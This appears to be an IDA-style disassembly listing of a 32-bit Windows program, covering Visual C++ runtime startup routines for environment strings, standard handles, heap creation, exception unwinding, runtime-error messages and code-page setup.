mov edi, ds:dword_4050C8
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+38h+var_4], eax
call edi ; WideCharToMultiByte
mov ebp, eax
cmp ebp, ebx
jz short loc_403172
push ebp
call sub_403CB6
cmp eax, ebx
pop ecx
mov [esp+18h+var_8], eax
jz short loc_403172
push ebx
push ebx
push ebp
push eax
push [esp+28h+var_4]
push esi
push ebx
push ebx
call edi ; WideCharToMultiByte
test eax, eax
jnz short loc_40316E
push [esp+18h+var_8]
call sub_403C87
pop ecx
mov [esp+18h+var_8], ebx
loc_40316E: ; CODE XREF: sub_4030A5+B9j
mov ebx, [esp+18h+var_8]
loc_403172: ; CODE XREF: sub_4030A5+99j
; sub_4030A5+A8j
push esi
call ds:dword_4050C4 ; FreeEnvironmentStringsW
mov eax, ebx
jmp short loc_4031D0
; ---------------------------------------------------------------------------
loc_40317D: ; CODE XREF: sub_4030A5+51j
cmp eax, 2
jnz short loc_4031CE
loc_403182: ; CODE XREF: sub_4030A5+49j
cmp edi, ebx
jnz short loc_403192
call ds:dword_4050CC ; GetEnvironmentStrings
mov edi, eax
cmp edi, ebx
jz short loc_4031CE
loc_403192: ; CODE XREF: sub_4030A5+DFj
cmp [edi], bl
mov eax, edi
jz short loc_4031A2
loc_403198: ; CODE XREF: sub_4030A5+F6j
; sub_4030A5+FBj
inc eax
cmp [eax], bl
jnz short loc_403198
inc eax
cmp [eax], bl
jnz short loc_403198
loc_4031A2: ; CODE XREF: sub_4030A5+F1j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_403CB6
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4031B8
xor esi, esi
jmp short loc_4031C3
; ---------------------------------------------------------------------------
loc_4031B8: ; CODE XREF: sub_4030A5+10Dj
push ebp
push edi
push esi
call sub_402290
add esp, 0Ch
loc_4031C3: ; CODE XREF: sub_4030A5+111j
push edi
call ds:dword_4050C0 ; FreeEnvironmentStringsA
mov eax, esi
jmp short loc_4031D0
; ---------------------------------------------------------------------------
loc_4031CE: ; CODE XREF: sub_4030A5+39j
; sub_4030A5+61j ...
xor eax, eax
loc_4031D0: ; CODE XREF: sub_4030A5+D6j
; sub_4030A5+127j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
sub_4030A5 endp
; =============== S U B R O U T I N E =======================================
sub_4031D7 proc near ; CODE XREF: sub_40283E+6Fp
var_44 = byte ptr -44h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_403CB6
mov esi, eax
pop ecx
test esi, esi
jnz short loc_4031F7
push 1Bh
call sub_402934
pop ecx
loc_4031F7: ; CODE XREF: sub_4031D7+16j
mov ds:dword_407340, esi
mov ds:dword_407440, 20h
lea eax, [esi+100h]
loc_40320D: ; CODE XREF: sub_4031D7+52j
cmp esi, eax
jnb short loc_40322B
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, ds:dword_407340
add esi, 8
add eax, 100h
jmp short loc_40320D
; ---------------------------------------------------------------------------
loc_40322B: ; CODE XREF: sub_4031D7+38j
lea eax, [esp+54h+var_44]
push eax
call ds:dword_4050A4 ; GetStartupInfoA
cmp word ptr [esp+54h+var_14+2], 0
jz loc_403307
mov eax, [esp+54h+var_10]
test eax, eax
jz loc_403307
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_403261
mov esi, eax
loc_403261: ; CODE XREF: sub_4031D7+86j
cmp ds:dword_407440, esi
jge short loc_4032BB
mov edi, offset dword_407344
loc_40326E: ; CODE XREF: sub_4031D7+DAj
push 100h
call sub_403CB6
test eax, eax
pop ecx
jz short loc_4032B5
add ds:dword_407440, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_40328C: ; CODE XREF: sub_4031D7+CFj
cmp eax, ecx
jnb short loc_4032A8
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_40328C
; ---------------------------------------------------------------------------
loc_4032A8: ; CODE XREF: sub_4031D7+B7j
add edi, 4
cmp ds:dword_407440, esi
jl short loc_40326E
jmp short loc_4032BB
; ---------------------------------------------------------------------------
loc_4032B5: ; CODE XREF: sub_4031D7+A4j
mov esi, ds:dword_407440
loc_4032BB: ; CODE XREF: sub_4031D7+90j
; sub_4031D7+DCj
xor edi, edi
test esi, esi
jle short loc_403307
loc_4032C1: ; CODE XREF: sub_4031D7+12Ej
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_4032FE
mov cl, [ebp+0]
test cl, 1
jz short loc_4032FE
test cl, 8
jnz short loc_4032E0
push eax
call ds:dword_405094 ; GetFileType
test eax, eax
jz short loc_4032FE
loc_4032E0: ; CODE XREF: sub_4031D7+FCj
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, ds:dword_407340[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_4032FE: ; CODE XREF: sub_4031D7+EFj
; sub_4031D7+F7j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_4032C1
loc_403307: ; CODE XREF: sub_4031D7+65j
; sub_4031D7+71j ...
xor ebx, ebx
loc_403309: ; CODE XREF: sub_4031D7+195j
mov eax, ds:dword_407340
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_403364
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_403324
push 0FFFFFFF6h
pop eax
jmp short loc_40332E
; ---------------------------------------------------------------------------
loc_403324: ; CODE XREF: sub_4031D7+146j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_40332E: ; CODE XREF: sub_4031D7+14Bj
push eax
call ds:dword_4050D8 ; GetStdHandle
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_403353
push edi
call ds:dword_405094 ; GetFileType
test eax, eax
jz short loc_403353
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_403359
loc_403353: ; CODE XREF: sub_4031D7+163j
; sub_4031D7+16Ej
or byte ptr [esi+4], 40h
jmp short loc_403368
; ---------------------------------------------------------------------------
loc_403359: ; CODE XREF: sub_4031D7+17Aj
cmp eax, 3
jnz short loc_403368
or byte ptr [esi+4], 8
jmp short loc_403368
; ---------------------------------------------------------------------------
loc_403364: ; CODE XREF: sub_4031D7+13Ej
or byte ptr [esi+4], 80h
loc_403368: ; CODE XREF: sub_4031D7+180j
; sub_4031D7+185j ...
inc ebx
cmp ebx, 3
jl short loc_403309
push ds:dword_407440
call ds:dword_4050D4 ; LockResource
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
sub_4031D7 endp
; =============== S U B R O U T I N E =======================================
sub_403382 proc near ; CODE XREF: sub_40283E+5Ap
arg_0 = dword ptr 4
xor eax, eax
push 0
cmp [esp+4+arg_0], eax
push 1000h
setz al
push eax
call ds:dword_40508C ; HeapCreate
test eax, eax
mov ds:dword_407328, eax
jz short loc_4033B7
call sub_403D2A
test eax, eax
jnz short loc_4033BA
push ds:dword_407328
call ds:dword_405090 ; HeapDestroy
loc_4033B7: ; CODE XREF: sub_403382+1Ej
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4033BA: ; CODE XREF: sub_403382+27j
push 1
pop eax
retn
sub_403382 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4033C0 proc near ; CODE XREF: sub_4034B8+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_4033D8
push [ebp+arg_0]
call sub_404CA6 ; RtlUnwind
loc_4033D8: ; DATA XREF: sub_4033C0+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4033C0 endp
; =============== S U B R O U T I N E =======================================
sub_4033E0 proc near ; DATA XREF: sub_403402+Ao
; .text:00403473o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_403401
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_403401: ; CODE XREF: sub_4033E0+10j
retn
sub_4033E0 endp
; =============== S U B R O U T I N E =======================================
sub_403402 proc near ; CODE XREF: sub_4034B8+67p
; sub_4034B8+A7p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_4033E0
push large dword ptr fs:0
mov large fs:0, esp
loc_40341F: ; CODE XREF: sub_403402:loc_40345Aj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_40345C
cmp esi, [esp+1Ch+arg_4]
jz short loc_40345C
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_40345A
push 101h
mov eax, [ebx+esi*4+8]
call sub_403496
call dword ptr [ebx+esi*4+8]
loc_40345A: ; CODE XREF: sub_403402+44j
jmp short loc_40341F
; ---------------------------------------------------------------------------
loc_40345C: ; CODE XREF: sub_403402+2Aj
; sub_403402+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_403402 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_4033E0
jnz short locret_40348C
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_40348C
mov eax, 1
locret_40348C: ; CODE XREF: .text:0040347Aj
; .text:00403485j
retn
; ---------------------------------------------------------------------------
push ebx
push ecx
mov ebx, offset dword_406D8C
jmp short loc_4034A0
; =============== S U B R O U T I N E =======================================
sub_403496 proc near ; CODE XREF: sub_403402+4Fp
; sub_4034B8+78p
push ebx
push ecx
mov ebx, offset dword_406D8C
mov ecx, [ebp+8]
loc_4034A0: ; CODE XREF: .text:00403494j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_403496 endp
; ---------------------------------------------------------------------------
align 10h
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4034B8 proc near ; DATA XREF: sub_40283E+Ao
; sub_40371C+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_403558
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_4034EB: ; CODE XREF: sub_4034B8+90j
cmp esi, 0FFFFFFFFh
jz short loc_403551
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_40353F
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_40353F
js short loc_40354A
mov edi, [ebx+8]
push ebx
call sub_4033C0
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_403402
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_403496
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_40353F: ; CODE XREF: sub_4034B8+40j
; sub_4034B8+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_4034EB
; ---------------------------------------------------------------------------
loc_40354A: ; CODE XREF: sub_4034B8+54j
mov eax, 0
jmp short loc_40356D
; ---------------------------------------------------------------------------
loc_403551: ; CODE XREF: sub_4034B8+36j
mov eax, 1
jmp short loc_40356D
; ---------------------------------------------------------------------------
loc_403558: ; CODE XREF: sub_4034B8+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_403402
add esp, 8
pop ebp
mov eax, 1
loc_40356D: ; CODE XREF: sub_4034B8+97j
; sub_4034B8+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4034B8 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_403402
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_403590 proc near ; CODE XREF: sub_402934+9p
; sub_402959+9p
mov eax, ds:dword_406F48
cmp eax, 1
jz short loc_4035A7
test eax, eax
jnz short locret_4035C8
cmp ds:dword_406AD4, 1
jnz short locret_4035C8
loc_4035A7: ; CODE XREF: sub_403590+8j
push 0FCh
call sub_4035C9
mov eax, ds:dword_4070A4
pop ecx
test eax, eax
jz short loc_4035BD
call eax
loc_4035BD: ; CODE XREF: sub_403590+29j
push 0FFh
call sub_4035C9
pop ecx
locret_4035C8: ; CODE XREF: sub_403590+Cj
; sub_403590+15j
retn
sub_403590 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4035C9 proc near ; CODE XREF: sub_402934+12p
; sub_402959+12p ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_406DA0
loc_4035DC: ; CODE XREF: sub_4035C9+20j
cmp edx, [eax]
jz short loc_4035EB
add eax, 8
inc ecx
cmp eax, offset byte_406E30
jl short loc_4035DC
loc_4035EB: ; CODE XREF: sub_4035C9+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, ds:dword_406DA0[esi]
jnz loc_403719
mov eax, ds:dword_406F48
cmp eax, 1
jz loc_4036F3
test eax, eax
jnz short loc_40361C
cmp ds:dword_406AD4, 1
jz loc_4036F3
loc_40361C: ; CODE XREF: sub_4035C9+44j
cmp edx, 0FCh
jz loc_403719
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
call ds:dword_405034 ; GetModuleFileNameA
test eax, eax
jnz short loc_403653
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_402720
pop ecx
pop ecx
loc_403653: ; CODE XREF: sub_4035C9+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_402210
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_403696
lea eax, [ebp+var_1A4]
push eax
call sub_402210
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_404600
add esp, 10h
loc_403696: ; CODE XREF: sub_4035C9+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_402720
lea eax, [ebp+var_A0]
push edi
push eax
call sub_402730
lea eax, [ebp+var_A0]
push offset asc_4053E8 ; "\n\n"
push eax
call sub_402730
push ds:off_406DA4[esi]
lea eax, [ebp+var_A0]
push eax
call sub_402730
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_404573
add esp, 2Ch
pop edi
jmp short loc_403719
; ---------------------------------------------------------------------------
loc_4036F3: ; CODE XREF: sub_4035C9+3Cj
; sub_4035C9+4Dj
lea eax, [ebp+arg_0]
lea esi, off_406DA4[esi]
push 0
push eax
push dword ptr [esi]
call sub_402210
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
call ds:dword_4050D8 ; GetStdHandle
push eax
call ds:dword_40507C ; WriteFile
loc_403719: ; CODE XREF: sub_4035C9+2Ej
; sub_4035C9+59j ...
pop esi
leave
retn
sub_4035C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40371C proc near ; CODE XREF: sub_402A4C+5Ep
; sub_403AE6+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_405428
push offset sub_4034B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, ds:dword_4070A8
xor ebx, ebx
cmp eax, ebx
jnz short loc_40378B
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_405424
push esi
call ds:dword_405070 ; GetStringTypeW
test eax, eax
jz short loc_403769
mov eax, esi
jmp short loc_403786
; ---------------------------------------------------------------------------
loc_403769: ; CODE XREF: sub_40371C+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_406F38
push esi
push ebx
call ds:dword_405074 ; GetStringTypeA
test eax, eax
jz loc_403851
push 2
pop eax
loc_403786: ; CODE XREF: sub_40371C+4Bj
mov ds:dword_4070A8, eax
loc_40378B: ; CODE XREF: sub_40371C+2Fj
cmp eax, 2
jnz short loc_4037B4
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_40379C
mov eax, ds:dword_4070C4
loc_40379C: ; CODE XREF: sub_40371C+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call ds:dword_405074 ; GetStringTypeA
jmp loc_403853
; ---------------------------------------------------------------------------
loc_4037B4: ; CODE XREF: sub_40371C+72j
cmp eax, 1
jnz loc_403851
cmp [ebp+arg_10], ebx
jnz short loc_4037CA
mov eax, ds:dword_4070D4
mov [ebp+arg_10], eax
loc_4037CA: ; CODE XREF: sub_40371C+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
call ds:dword_405078 ; MultiByteToWideChar
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_403851
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_4025D0
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_4021B0
add esp, 0Ch
jmp short loc_403820
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_403820: ; CODE XREF: sub_40371C+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_403851
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
call ds:dword_405078 ; MultiByteToWideChar
cmp eax, ebx
jz short loc_403851
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
call ds:dword_405070 ; GetStringTypeW
jmp short loc_403853
; ---------------------------------------------------------------------------
loc_403851: ; CODE XREF: sub_40371C+61j
; sub_40371C+9Bj ...
xor eax, eax
loc_403853: ; CODE XREF: sub_40371C+93j
; sub_40371C+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40371C endp
; =============== S U B R O U T I N E =======================================
sub_403865 proc near ; CODE XREF: sub_402D47+2Bp
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_403876
add esp, 0Ch
retn
sub_403865 endp
; =============== S U B R O U T I N E =======================================
sub_403876 proc near ; CODE XREF: sub_403865+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test ds:byte_407221[eax], cl
jnz short loc_4038A3
cmp [esp+arg_4], 0
jz short loc_40389C
movzx eax, ds:word_406AEA[eax*2]
and eax, [esp+arg_4]
jmp short loc_40389E
; ---------------------------------------------------------------------------
loc_40389C: ; CODE XREF: sub_403876+16j
xor eax, eax
loc_40389E: ; CODE XREF: sub_403876+24j
test eax, eax
jnz short loc_4038A3
retn
; ---------------------------------------------------------------------------
loc_4038A3: ; CODE XREF: sub_403876+Fj
; sub_403876+2Aj
push 1
pop eax
retn
sub_403876 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4038A7 proc near ; CODE XREF: sub_403C6B+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_403A40 ; GetOEMCP
mov esi, eax
pop ecx
cmp esi, ds:dword_407100
mov [ebp+arg_0], esi
jz loc_403A34
xor ebx, ebx
cmp esi, ebx
jz loc_403A2A
xor edx, edx
mov eax, offset dword_406E38
loc_4038DB: ; CODE XREF: sub_4038A7+41j
cmp [eax], esi
jz short loc_403951
add eax, 30h
inc edx
cmp eax, offset dword_406F28
jl short loc_4038DB
lea eax, [ebp+var_18]
push eax
push esi
call ds:dword_40506C ; GetCPInfo
cmp eax, 1
jnz loc_403A22
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_407220
cmp [ebp+var_18], 1
mov ds:dword_407100, esi
rep stosd
stosb
mov ds:dword_407324, ebx
jbe loc_403A10
cmp [ebp+var_12], 0
jz loc_4039E6
lea ecx, [ebp+var_11]
loc_40392E: ; CODE XREF: sub_4038A7+139j
mov dl, [ecx]
test dl, dl
jz loc_4039E6
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_40393F: ; CODE XREF: sub_4038A7+A8j
cmp eax, edx
ja loc_4039DA
or ds:byte_407221[eax], 4
inc eax
jmp short loc_40393F
; ---------------------------------------------------------------------------
loc_403951: ; CODE XREF: sub_4038A7+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_407220
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_406E48[esi]
loc_40396D: ; CODE XREF: sub_4038A7+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_4039A0
loc_403974: ; CODE XREF: sub_4038A7+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_4039A0
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_403999
mov edx, [ebp+var_4]
mov dl, ds:byte_406E30[edx]
loc_40398E: ; CODE XREF: sub_4038A7+F0j
or ds:byte_407221[eax], dl
inc eax
cmp eax, edi
jbe short loc_40398E
loc_403999: ; CODE XREF: sub_4038A7+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_403974
loc_4039A0: ; CODE XREF: sub_4038A7+CBj
; sub_4038A7+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_40396D
mov eax, [ebp+arg_0]
mov ds:dword_40711C, 1
push eax
mov ds:dword_407100, eax
call sub_403A8A
lea esi, dword_406E3C[esi]
mov edi, offset dword_407110
movsd
movsd
pop ecx
mov ds:dword_407324, eax
movsd
jmp short loc_403A2F
; ---------------------------------------------------------------------------
loc_4039DA: ; CODE XREF: sub_4038A7+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_40392E
loc_4039E6: ; CODE XREF: sub_4038A7+7Ej
; sub_4038A7+8Bj
push 1
pop eax
loc_4039E9: ; CODE XREF: sub_4038A7+14Fj
or ds:byte_407221[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_4039E9
push esi
call sub_403A8A
pop ecx
mov ds:dword_407324, eax
mov ds:dword_40711C, 1
jmp short loc_403A16
; ---------------------------------------------------------------------------
loc_403A10: ; CODE XREF: sub_4038A7+74j
mov ds:dword_40711C, ebx
loc_403A16: ; CODE XREF: sub_4038A7+167j
xor eax, eax
mov edi, offset dword_407110
stosd
stosd
stosd
jmp short loc_403A2F
; ---------------------------------------------------------------------------
loc_403A22: ; CODE XREF: sub_4038A7+51j
cmp ds:dword_4070AC, ebx
jz short loc_403A38
loc_403A2A: ; CODE XREF: sub_4038A7+27j
call sub_403ABD
loc_403A2F: ; CODE XREF: sub_4038A7+131j
; sub_4038A7+179j
call sub_403AE6
loc_403A34: ; CODE XREF: sub_4038A7+1Dj
xor eax, eax
jmp short loc_403A3B
; ---------------------------------------------------------------------------
loc_403A38: ; CODE XREF: sub_4038A7+181j
or eax, 0FFFFFFFFh
loc_403A3B: ; CODE XREF: sub_4038A7+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_4038A7 endp
; =============== S U B R O U T I N E =======================================
sub_403A40 proc near ; CODE XREF: sub_4038A7+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and ds:dword_4070AC, 0
cmp eax, 0FFFFFFFEh
jnz short loc_403A60
mov ds:dword_4070AC, 1
jmp ds:dword_405064
; ---------------------------------------------------------------------------
loc_403A60: ; CODE XREF: sub_403A40+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_403A75
mov ds:dword_4070AC, 1
jmp ds:dword_405068
; ---------------------------------------------------------------------------
loc_403A75: ; CODE XREF: sub_403A40+23j
cmp eax, 0FFFFFFFCh
jnz short locret_403A89
mov eax, ds:dword_4070D4
mov ds:dword_4070AC, 1
locret_403A89: ; CODE XREF: sub_403A40+38j
retn
sub_403A40 endp
; =============== S U B R O U T I N E =======================================
sub_403A8A proc near ; CODE XREF: sub_4038A7+118p
; sub_4038A7+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_403AB7
sub eax, 4
jz short loc_403AB1
sub eax, 0Dh
jz short loc_403AAB
dec eax
jz short loc_403AA5
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_403AA5: ; CODE XREF: sub_403A8A+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_403AAB: ; CODE XREF: sub_403A8A+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_403AB1: ; CODE XREF: sub_403A8A+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_403AB7: ; CODE XREF: sub_403A8A+9j
mov eax, 411h
retn
sub_403A8A endp
; =============== S U B R O U T I N E =======================================
sub_403ABD proc near ; CODE XREF: sub_4038A7:loc_403A2Ap
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_407220
rep stosd
stosb
xor eax, eax
mov edi, offset dword_407110
mov ds:dword_407100, eax
mov ds:dword_40711C, eax
mov ds:dword_407324, eax
stosd
stosd
stosd
pop edi
retn
sub_403ABD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403AE6 proc near ; CODE XREF: sub_4038A7:loc_403A2Fp
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push ds:dword_407100
call ds:dword_40506C ; GetCPInfo
cmp eax, 1
jnz loc_403C1F
xor eax, eax
mov esi, 100h
loc_403B10: ; CODE XREF: sub_403AE6+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_403B10
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_403B61
push ebx
push edi
lea edx, [ebp+var_D]
loc_403B2F: ; CODE XREF: sub_403AE6+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_403B56
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_403B56: ; CODE XREF: sub_403AE6+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_403B2F
pop edi
pop ebx
loc_403B61: ; CODE XREF: sub_403AE6+42j
push 0
lea eax, [ebp+var_514]
push ds:dword_407324
push ds:dword_407100
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_40371C
push 0
lea eax, [ebp+var_214]
push ds:dword_407100
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push ds:dword_407324
call sub_4046FE
push 0
lea eax, [ebp+var_314]
push ds:dword_407100
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push ds:dword_407324
call sub_4046FE
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_403BDC: ; CODE XREF: sub_403AE6+135j
mov dx, [ecx]
test dl, 1
jz short loc_403BFA
or ds:byte_407221[eax], 10h
mov dl, [ebp+eax+var_214]
